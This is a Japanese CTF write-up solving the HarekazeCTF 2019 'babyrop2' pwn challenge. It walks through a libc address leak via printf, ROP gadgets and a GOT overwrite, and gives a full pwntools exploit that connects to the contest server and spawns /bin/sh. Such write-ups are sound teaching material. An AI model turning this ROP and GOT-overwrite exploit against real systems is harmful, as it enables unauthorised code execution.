madousho

とあるハッキングの魔導書

HarekazeCTF 2019「babyrop2 (200pts)」之解き方

はじめに

5月18日、 #HarekazeCTF に「NekochanNano!」の一員として参加させていただきました。最後に510ポイントを集めることが出来、私たちは523チームが参加する中、68位で終えました。

「babyrop」のライトアップも投稿してありますので、ぜひ前に読んできてくださいね!

babyrop2

プログラム解析

「babyrop」のときと同じように、接続できるIPアドレスとポート番号、そしてELFバイナリが手に入れます。加えて、今度はlibc.so.6も渡されます。

いつもどおりに、checksecでセキュリティ機構を確認します。

f:id:d3npa:20190520080019p:plain

今回も、RELRO、Stack、そしてPIEが無い。Nice! !(^-^)!

またradare2で開き、main関数の逆アセンブリを読んでいきましょう〜

f:id:d3npa:20190520080038p:plain

画像が小さすぎるのであれば右クリックし、Ctrlまた⌘キーを押しながら「画像を表示」で開いてください。

一般のユーザが実行すれば、「babyrop」の動作と何が違うか見極められないけど、逆アセンブリを読めばその違いがよくわかりますね。また言葉で説明してみます。

  1. bss領域文字列をediで指定、printfでメッセージを出力する
  2. readで、0x100バイトまで入力をスタック変数(rbp-0x20)に読み込む
  3. フォーマット形式とrbp-0x20を引数として用意、printfで前の入力を含めたメッセージを表示する

「babyrop」に比べると、大きいな違いがありますね!「babyrop」と違って、system/bin/shがプログラムに含められていないのです。なので、ROPを行えば、systemにジャンプするために、呼び出す前にそのlibc以内のアドレスを計算することが必要となります。

printfを使えば、GOT領域からある関数のlibcポインターをリークすることが出来るはずです。そうしたら、既に有しているlibc.so.6を使い、system関数とその関数の距離を計算することが出来ます。では、read関数を狙おうと思います。

ROPでprintfを呼び出せば、フォーマット形式をrdiにし、引数をrsiで示します。したがってpop rsipop rdiというガジェットが必要です。

f:id:d3npa:20190520080103p:plain

良き。

pop_rdi = p64(0x400733)
pop_rsi = p64(0x400731)

【注意】pop rsiの直後にpop r15という命令があるので気をつけてください。このガジェットを利用するときに、r15に保存されるための何かも必ず用意するように。

次にprintのPLTアドレスとreadのGOTポインターを取りましょう。

f:id:d3npa:20190520080119p:plain

plt_printf = p64(0x4004f0)
got_read = p64(0x601020)

これで、printfにジャンプすることが出来、利用した上、readのGOTポインターをリーク、libc以内アドレスを掴むための準備が出来ました。

いまから試してみましょう。

#!/usr/bin/python2
# -*- coding: utf-8 -*-
from pwn import *

pop_rdi = p64(0x400733)
pop_rsi = p64(0x400731)
got_read = p64(0x601020)
plt_printf = p64(0x4004f0)
str_format = p64(0x400770)

# ---- printf("%s", read@got) ----
payload = 'a' * 0x20
payload += 'b' * 8      # RBP
payload += pop_rdi + str_format
payload += pop_rsi + got_read + p64(0)
payload += plt_printf
# --------------------------------

sock = process(["./babyrop2"], env={"LD_PRELOAD":"./libc.so.6"})
sock.read()
sock.sendline(payload)
sock.readline()

addr_read = u64(sock.readline()[-8:-2] + "\x00\x00")
print("[*] readの位置をリークしました: %s" % hex(addr_read))

sock.close()

f:id:d3npa:20190520080144p:plain

よし、成功! (≧∇≦)/!!

なう、objdumpを使い、リークしたreadと、system関数のベース位置を把握、距離を計算します。

f:id:d3npa:20190520080202p:plain

よってreadのアドレスから0xb1ec0を引いたらsystemのアドレスになります。

addr_read = u64(sock.readline()[-8:-2] + "\x00\x00")
print("[*] readの位置をリークしました: %s" % hex(addr_read))

addr_system = addr_read - 0xb1ec0
print("[*] systemの位置を計算しました: %s" % hex(addr_system))

最後のステップですが、計算したsystemのアドレスをどうやってプログラムに入力するのでしょうか、どうやって実行するのでしょうか?

いま、実行できるのはprintfreadsetvbufmainだけです。この中から、任意ジャンプのために使えるものが2つ。どれなのかわかりますか?

printfreadです!printfの場合、前みたいにFSBを発生させ、任意アドレスを上書きすることが可能です。そしてreadの場合、書き込み先のアドレスを引数として渡せばそれだけで任意書き込みができます。任意書き込みから任意ジャンプをどうやってするのかというなら、GOT領域のポインターを書き換え、繋がりの関数を呼び出すのが一つの方法です。

というわけで、次の作戦を考えました。readを利用し、read関数そのもののGOTポインターを上書きし、直後に文字列を同時に書き込むことにしようと思います。上書きの後、固定なGOT領域アドレスに保存した文字列をrdiレジスタにし、再びreadを呼び出すことでsystemを実行する、という作戦であります。

readのGOTアドレスが既にわかりますので、最後の要する情報が、readのPLTアドレスだけです。

f:id:d3npa:20190520080226p:plain

ようやく準備がすべて整えました!!\(^o^)/

エクスプロイト作成

#!/usr/bin/python2
# -*- coding: utf-8 -*-
from pwn import *

pop_rdi = p64(0x400733)
pop_rsi = p64(0x400731)
got_read = p64(0x601020)
plt_printf = p64(0x4004f0)
str_format = p64(0x400770)

# ---- printf("%s", read@got) ----
payload = 'a' * 0x20
payload += 'b' * 8      # RBP
payload += pop_rdi + str_format
payload += pop_rsi + got_read + p64(0)
payload += plt_printf
# --------------------------------

call_read = p64(0x400500)
str_binsh = p64(0x601028)       # got_readの直後

# ---- read(0, read@got, 0x100) ----
payload += pop_rdi + p64(0)
payload += pop_rsi + got_read + p64(0)
payload += call_read
# ----------------------------------

# ---- system("/bin/sh") -----------
payload += pop_rdi + str_binsh
payload += pop_rsi + p64(0) + p64(0)
payload += call_read
# ----------------------------------

# sock = process(["./babyrop2"], env={"LD_PRELOAD":"./libc.so.6"})
sock = remote("problem.harekaze.com", 20005)
sock.read()

print "[*] Payload size = %s" % hex(len(payload))
sock.sendline(payload)
sock.readline()

addr_read = u64(sock.readline()[-8:-2] + "\x00\x00")
print("[*] readの位置をリークしました: %s" % hex(addr_read))

addr_system = addr_read - 0xb1ec0
print("[*] systemの位置を計算しました: %s" % hex(addr_system))

sock.sendline(p64(addr_system) + "/bin/sh\x00")

sock.interactive()
sock.close()

実行してシェル奪い!

f:id:d3npa:20190520080246p:plain

今回は長かったのですが、最後まで読んで頂き、ありがとうございました!